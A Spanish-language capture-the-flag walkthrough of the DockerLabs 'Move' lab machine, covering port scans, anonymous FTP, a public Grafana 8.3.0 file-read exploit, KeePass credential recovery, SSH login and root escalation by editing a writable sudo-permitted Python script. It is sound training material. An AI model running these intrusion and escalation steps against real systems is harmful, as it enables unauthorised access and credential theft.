> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/move.md).
# Move
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Move** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Extraemos el contenido del archivo comprimido con `7z`:
```bash
7z x move.zip
```
#### **1.3. Ejecución**
Ejecutamos el script `auto_deploy.sh`, que despliega automáticamente la máquina vulnerable en Docker:
```bash
bash auto_deploy.sh move.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Verificamos que la máquina está activa:
```bash
ping -c 1 172.17.0.2
```
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Puertos abiertos:**
* **Puerto 21:** `FTP`.
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
* **Puerto 3000:** `PPP`.
#### **2.3. Escaneo detallado**
Analizamos los puertos encontrados con mayor profundidad:
```bash
nmap -p21,22,80,3000 -sCV 172.17.0.2 -oN targeted
```
**Resultados:**
* **Puerto 21 (FTP):** vsftpd versión 3.0.3 con acceso anónimo habilitado y un directorio existente llamado `mantenimiento`.
* **Puerto 22 (SSH):** OpenSSH versión 9.6p1.
* **Puerto 80 (HTTP):** Apache 2.4.58 con la página por defecto de Apache2.
* **Puerto 3000 (Grafana):** Versión v8.3.0.
#### **2.4. Servicio FTP**
Nos conectamos al servicio FTP como el usuario `anonymous`:
```bash
ftp anonymous@172.17.0.2
```
Accedemos al directorio `mantenimiento`:
```bash
cd mantenimiento
```
Dentro de este directorio podemos ver un archivo llamado `database.kdbx`, el cual vamos a descargar en nuestro equipo local utilizando el siguiente comando:
```bash
get database.kdbx
```
#### **2.5. Servicio HTTP**
Accedemos al servicio HTTP a través del navegador, introduciendo la dirección `http://172.17.0.2`. Lo que encontramos es la página por defecto de Apache2, pero no encontramos nada de información útil.
#### **2.6. Enumeración en el servicio HTTP**
Utilizamos `gobuster` para descubrir directorios y archivos ocultos:
```bash
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
```
Encontramos la ruta `/maintenance.html`, donde aparece el siguiente mensaje:
```html
Website under maintenance, access is in /tmp/pass.txt
```
### **3. Explotación**
#### **3.1. Explotación de Grafana**
Si accedemos al puerto 3000 (`http://172.17.0.2:3000`), nos encontramos con un panel de inicio de sesión de Grafana que corresponde a la versión v8.3.0, la cual puede observarse en la parte inferior de la pantalla.
Tras detectar que el puerto 3000 aloja una instancia de Grafana v8.3.0, buscamos vulnerabilidades conocidas con `searchsploit` que afecten a esta versión ejecutando el siguiente comando:
```bash
searchsploit Grafana 8.3.0
```
Identificamos un exploit público relacionado con **Directory Traversal and Arbitrary File Read**.
Para descargarlo directamente a nuestro equipo local, tenemos que utilizar el siguiente comando:
```bash
searchsploit -m multiple/webapps/50581.py
```
Ejecutamos el exploit contra la máquina:
```bash
python3 50581.py -H http://172.17.0.2:3000
```
Accedemos al archivo que hemos encontrado anteriormente en `http://172.17.0.2/maintenance.html`:
```bash
/tmp/pass.txt
```
Obtenemos una contraseña: `t9sH76gpQ82UFeZ3GXZS`.
#### **3.2. Acceso a KeePassXC**
Utilizamos la contraseña obtenida anteriormente para abrir el archivo `database.kdbx` y extraer las credenciales almacenadas en dicho archivo:
```
Usuario: freddy
Contraseña: t9sH76gpQ82UFeZ3GXZS
```
#### **3.3. Acceso por SSH**
Accedemos a la máquina como el usuario `freddy`:
```bash
ssh freddy@172.17.0.2
```
### **4. Escalada de privilegios**
Una vez dentro de la máquina como el usuario `freddy`, ejecutamos:
```bash
sudo -l
```
El resultado nos indica que podemos ejecutar con **python3** el script almacenado en `/opt/maintenance.py` como **root** sin necesidad de proporcionar contraseña:
```bash
(ALL) NOPASSWD: /usr/bin/python3 /opt/maintenance.py
```
Revisamos el contenido del script:
```bash
cat /opt/maintenance.py
```
Y observamos que únicamente contiene:
```python
print("Server under beta testing")
```
Consultamos los permisos de dicho archivo con el siguiente comando:
```bash
ls -l /opt/maintenance.py
```
El archivo es escribible por el usuario `freddy`, lo cual representa una oportunidad clara para introducir un código malicioso y escalar privilegios.
Aprovechamos esta configuración para modificar el script e introducir una instrucción que nos proporcione una shell como `root`:
```python
import os
os.system("/bin/sh")
```
Una vez editado el script `/opt/maintenance.py`, tenemos que ejecutarlo como `root` con el siguiente comando:
```bash
sudo -u root /usr/bin/python3 /opt/maintenance.py
```
¡Con esto, accedemos a una shell con privilegios de `root`, completando la explotación de la máquina!
